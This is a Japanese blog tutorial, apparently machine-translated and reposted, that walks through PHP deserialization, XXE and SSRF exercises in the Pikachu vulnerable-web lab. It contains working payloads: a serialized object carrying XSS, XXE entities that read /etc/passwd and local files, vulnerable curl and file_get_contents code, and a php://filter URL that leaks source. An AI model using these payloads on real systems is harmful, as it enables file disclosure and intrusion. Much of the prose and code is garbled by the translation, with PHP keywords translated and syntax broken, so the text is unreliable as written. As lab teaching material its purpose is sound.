ピカチュウの範囲-PHPデシリアライゼーション、XXE、SSRF

PHPデシリアライズ

I.概要

この抜け穴を理解する前に、我々は、PHPのシリアル化()、アンシリアライズ()この二つの関数に把握する必要があり

シリアル化シリアル化()


シリアライゼーション人気の点は、次のオブジェクトであるような、文字列がオブジェクトに送信されても​​よいです。

  S {クラスの
        パブリックテスト$ =「ピカチュウ」; 
    } 
    $ S = S新しい新しい(); //オブジェクトの作成
    シリアライズ($ Sを); //このオブジェクトシリアライゼーション
    得られた配列の結果は次のようです: O:1: "S":1:{S :. 4: "テスト"; S:。7: "ピカチュウ";} 
        O:代表オブジェクト
        1:文字の名前のオブジェクトの長さを表し
        Sを:オブジェクトの名前
        1:オブジェクトを表します変数がある
        データ・タイプ:S 
        長変数名は:. 4 
        テスト:変数名
        S:データ型の
        変数の長さの値:. 7 
        ピカチュウ:変数値
    

  

アンシリアライズするデシリアライズ()


これは、シリアル化された文字列がオブジェクトに縮小されても、その後、次のコードを使用し続けることです。

    アンシリアライズU = $(:S ":1:{S :. 4:" "O :. 1" "; S:。7:"テストピカチュウ";}");に
    エコー$ U->試験; //結果が得られますピカチュウ

  シリアライズとデシリアライズ自体は問題ありませんが、コンテンツがデシリアライズされている場合、ユーザーが制御することができ、およびPHPの魔法の機能の背景の不適切な使用は、セキュリティ上の問題につながります。

  いくつかの一般的な魔法の機能:
        オブジェクトが作成される__construct()が呼び出される

        (__destruct)オブジェクトが破棄されると呼ばれる

        オブジェクトは__toStringを(使用して文字列として扱われる場合)

        オブジェクトは__sleepにシリアル化される前に()実行

        __wakeupは直ちにのシーケンスの後に呼び出される

        脆弱性の例:

        クラスS { 
            VARテスト$ = "ピカチュウ"; 
            機能__destruct(){ 
                エコーの$ this - >テスト; 
            } 
        } 
        $ = S $ _GET [ 'テスト']; 
        @ $アンサー=($ A)をアンシリアライズする; 

        ペイロード:O:。1: "S" :. 1:{S :. 4: "テスト"; S:29: "<SCRIPT>アラート( 'XSS')</ SCRIPT>"。 }

    

  

二、PHPデシリアライゼーションの脆弱性

①は、観測されたキャッシュバック源許容言い訳の直列化復元オブジェクトがあった、パラメータがどのなしでフィルタに渡されます

 

 ②私たちは、詳細なコード列のデシリアライズを生成するために使用します。

<?phpの
クラスS { 
変数$テスト= "<スクリプト>警告( 'XSS')</スクリプト>"; 
} 
エコー'<BR>'; 
$ A =新S(); 
エコーにserialize($)。
?>

  ③URLを介してアクセスする新しい文書を作成します

私はここではlocalhost /ピカチュウマスター/ test.phpをしています

 

 我々④右ページのソースを表示

 

 ⑤<BR> O後:1: "S":1:{S:4: "テスト"; S:29: "<script>アラート( 'XSS')</ SCRIPT>";}にコピーレベルは、あなたが攻撃をすることができますXSS

 

 

 

 

第20

I.概要

XXE - 「XML外部エンティティ注入」
両方「XML外部エンティティインジェクションの脆弱性。」
集計は、「、原因の問題を、サーバーのコンテンツに指定されたXMLエンティティを注入し、サーバーが指定された設定に従って実行させることによって、攻撃者」である
サーバーが受信すると、利用者側からのXMLデータを解析しますが、厳しいしませんでしたセキュリティ制御、外部エンティティのxml注入につながります。

XMLエンティティへの具体的な導入は、そこに、ウェブ上の多くは最初の自分を確認してください。
今すぐ対応する分析関数内の多くの言語は、このように、回避はこの脆弱性を直接、外部エンティティの内容を解析し、デフォルトのxmlでは無効とされます。
PHPでは、例えば、のlibxml、≥2.9.0バージョンを使用してPHPでのXML解析は、外部エンティティの内容を解析し、デフォルトのXMLで無効になっています。

 

 

XMLは、スケーラブルなマークアップ言語である、例えば、データの格納に使用することができます。私たちはしばしばいくつかの.xmlファイルを参照してください。それは、送信データにも使用することができ、我々は要求でXML形式で直接場所データすることができ、サーバーへ。 

具体的に関連して導入XMLエンティティ、まず自分自身をチェックし、ウェブ上の多くのがあります。

最初の部分:XML宣言セクション
の<?xml version = "1.0" ?>

パートII:文書型定義DTD
<!DOCTYPEノート[
!< - > -この文書で定義された文書のノート型である
!> <ENTITYエンティティ名SYSTEM "の/ URLのURI"
外部実体宣言- - <! >
]>

第三部分:文档元素
<注意>
<と>デーブ</へ>
トム<から> </から>
<ヘッド>注意</ HEAD>
<BODY>あなたはいい男です。</ BODY>
</ノート>

対応するXML構文解析が外部エンティティのコンテンツを解決するために、デフォルトでは無効になって内部が、DTD(文書型定義は、文書型定義)、構文の制約を定義するために使用されるXML文書を宣言することができる内部も外部のDTDは今、多くの言語の関数で参照することができますそして、このように、この脆弱性を指示避けます。

①内部DTD宣言形式
<!DOCTYPEルート要素[要素宣言]>

②外部参照DTD形式
<「DTD URI外」!DOCTYPEルート要素システム>

③公共DTD形式を引用し
、<!DOCTYPEルート要素PUBLIC "パブリックDTD URI" "DTDはの名前を識別">

外部実体参照ペイロード

<?xml version = "1.0"?>

<!DOCTYPE ANY [
!<ENTITY F SYSTEM "ファイル:/// etc / passwdファイル">
]>

<X>&F </ X>

二、XXEの脆弱性

①ペイロードを入力します

<?xml version = "1.0"?>
<DOCTYPEノート[!
<ENTITYハッカー"ESHLkangi">!
]>
<名前>&ハッカー; </名前> 

 

 私たちのエンティティの内容が前面にプリントを定義し

ペイロードは、ファイル構造を読む②

<?xmlのバージョン= "1.0">
<!DOCTYPE ANY [
!<ENTITY F SYSTEM "ファイル:/// C://2.txt">
]>
<X>&F; </ X>

 

 

 

SSRF

I.概要

SSRF(サーバー側のリクエストフォージェリ:サーバー側のリクエストフォージェリ)

その形成のための理由は、サーバーが他のサーバーアプリケーションからデータを取得する機能を提供し、主に起因しているが、ターゲットアドレスフィルタリングをしていないと厳しい制限は
、攻撃者は、彼らが要求を開始できるように任意のバックエンドサーバーに渡すことができます対処しますそしてターゲットアドレスにデータ要求を返します。

データフロー:攻撃者----->サーバー---->宛先アドレス

バックグラウンドで使用される機能に応じて、および方法によって、対応する影響は同じではない持っています

 

以下の機能のPHP不適切な使用はSSRF原因になります:
のfile_get_contents()
fsockopenの()
(curl_execを)

あなたが指定したアドレスに行かなければならない場合は、リモートユーザのためのバックエンドサーバによってリソース要求のための(「またはリクエストの前に埋め込まれた」)、フィルタリング先アドレスを行ってください。 

二、SSRE(カール)

 

 

IF(ISSET($ _ GET [ 'URL'])&& $ _GET [ 'URL']!= NULL){ 

    // URLの受信機フロントエンドは問題ありませんが、フィルタリングを行うにはフィルタリングされない場合、それはSSRFにつながる
    $ URL = $ _GET [ 'URL']; 
    $ CH = curl_init($ URL); 
    ますcurl_setopt($ CH、CURLOPT_HEADER、FALSE); 
    ますcurl_setopt($ CH、CURLOPT_SSL_VERIFYPEER、FALSE); 
    $ RES = curl_exec($ CH); 
    curl_close($ CH); 
Q // SSRFある:背景の前端に渡されるURLは、curl_exec()要求が行わ使用され、その結果は、フロントエンドの要求に戻りました。
//カールはまた、契約のサポートを確認するために、カール--version他のプロトコルをサポートし、HTTP / HTTPS、Telnet接続に加えて、
//は、多くのプロトコルをサポートカール、FTP、FTPS、HTTP、HTTPS、ある GOPHER、TELNET、DICT、FILEは、 およびLDAPは
    $ RESをエコー; 

}

  

 

 

 

 私たちは、詩のソースはURLで見つかったし、このマシンでIピカチュウは、仮想マシンをリンクし、アクセスする仮想マシン1.TXTピカチュウ・マスター内のファイルをURLの変更、ファイルの内容がGOOD MANです

 

URL :( IPが192.168.233.138である仮想マシン)

http://192.168.233.138/pikachu-master/vul/ssrf/ssrf_curl.php?url=http://192.168.233.138/pikachu-master/1.txt

 

 

 

 

三、SSRF(file_get_content)

 

 

その後、我々はリンクをクリックして、ちょうど同じを発見しました

 

 

ソースコードを見てください

// PHPファイルのソースコードを読んで:PHP://filter/read=convert.base64-encode/resource=ssrf.phpを
ネットワーク//リクエスト内:HTTP://xxxx/xx.indexを
IF(ISSET($ _ GET [ 'ファイル'])&& $ _GET [ 'ファイル'] = NULL){!
    $ファイル名= $ _GET [ 'ファイル']; 
    $ STR =のfile_get_contents($ファイル名); 
    エコー$ STR; 
} 



?>

  

使用のfile_get_contentsことを除いて、上記の実験  

 PHP:PHPのソースファイルを読む//filter/read=convert.base64-encode/resource=ssrf.php

イントラネット要求します。http://xxxx/xx.index

PHPで内部のfile_get_contentsだから://フィルターあなたがPHPを読むことができるので、私たちは、このソースを使用

私たちは、このURLを構築します

?ローカルホスト/ピカチュウ-マスター/ VUL / SSRF / ssrf_fgc.phpファイル= PHP://filter/read=convert.base64-encode/resource=ssrf.php

 

おすすめ

転載: www.cnblogs.com/c1047509362/p/12638672.html